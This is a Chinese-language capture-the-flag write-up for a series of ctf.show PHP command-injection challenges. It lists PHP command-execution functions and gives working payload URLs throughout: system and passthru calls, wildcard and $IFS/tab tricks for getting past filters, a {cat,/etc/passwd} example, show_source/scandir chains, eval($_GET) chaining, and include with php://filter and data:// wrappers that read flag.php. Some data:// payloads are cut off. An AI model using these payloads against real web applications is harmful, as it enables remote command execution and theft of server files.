题目描述
审计
主要是进行了对flag的过滤,所以使用通配符来绕过
1、执行系统命令
system:执行系统命令
http://ec01fa2a-e9a2-4d02-b42b-a19d6c8c3a35.challenge.ctf.show/?c=system(%22ls%22);
发现flag.php
2、将flag.php复制到1.txt
http://ec01fa2a-e9a2-4d02-b42b-a19d6c8c3a35.challenge.ctf.show/?c=system(%22cp%20fla?.txt%201.txt%22);
3、查看flag
http://ec01fa2a-e9a2-4d02-b42b-a19d6c8c3a35.challenge.ctf.show/1.txt
审计
这次过滤了system函数还要php
所以我们可以看一看php还有其他那些命令执行的函数
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) //第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();//详细用法百度吧
pcntl_exec();//如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
(119条消息) php 执行命令函数_哈尔滨洛弘科技有限公司的博客-CSDN博客_php命令执行函数
所以尝试使用别的命令执行函数
发现passthru()可以用,所以
1、查看文件
http://85ac1890-2027-4ca0-87be-a033538dbe10.challenge.ctf.show/?c=passthru("ls");
2、 将flag.php复制到2.txt
http://85ac1890-2027-4ca0-87be-a033538dbe10.challenge.ctf.show/?c=passthru(%22cp%20fla?.???%202.txt%22);
3、查看2.txt
http://85ac1890-2027-4ca0-87be-a033538dbe10.challenge.ctf.show/2.txt
审计
主要是这次把空格和.也过滤了
linux适用空格绕过:<
、<>
、%0a
(回车)、%20
(space)、 %09
(tab)、$IFS$9
、 ${IFS}
、$IFS
、{cat,/etc/passwd}
1、过滤了system所以还是用passthru来查看下文件
http://d66a5206-8a5c-454d-af7e-0e5f9d665149.challenge.ctf.show/?c=passthru(%22ls%22);
2、因为过滤了.所以要使用.怎么办呢
使用localeconv()这个函数,返回的第一位是小数点字符,使用这个就可以了
3、?c=print_r(show_source(scandir(current(localeconv()))[2]));
这样就可以得到flag.php
再show_source得到flag
?c=print_r(show_source(scandir(current(localeconv()))[2]));
尝试一下别的方式(看下别人的wp)
1、?c=echo(`more%09fl*`); 页面里看不到,因为被当做php代码放在源码那里
2、?c=eval($_GET[1]);&1=system("nl flag.php");
3、?c=print_r(show_source(scandir(dirname(__FILE__))[2]));
4、?c=echo`strings%09f*`;
5、?c=echo(`strings%09f*`);
6、?c=echo(`strings\$IFS\$9f*`);
审计
这次又多过滤了
`
echo;(
1、首先构造文件包含的payloadhttp://3ad2c154-7824-424e-a23c-93d93dadc357.challenge.ctf.show/?c=include%0a$_POST[1]?>
2、然后需要利用php伪协议读取文件
1=php://filter/read=convert.base64-encode/resource=flag.php
另一个姿势
1、第一步和上面一样
2、第二步使用data伪协议
1=data://text/plain,
3、访问1.txt得到flag
和32一样,通杀
一样通杀
还是一样
过滤了0-9,所以$_POST[1]改成$_POST[a]就可以了
第一步
?c=data://text/plain,
第二步
?c=data://text/plain,
web32hint:
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64- encode/resource=flag.php
web33hint:
c=?>=include$_GET[1]?>&1=php://filter/read=convert.base64- encode/resource=flag.php
web34hint:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35hint:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web36hint:
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php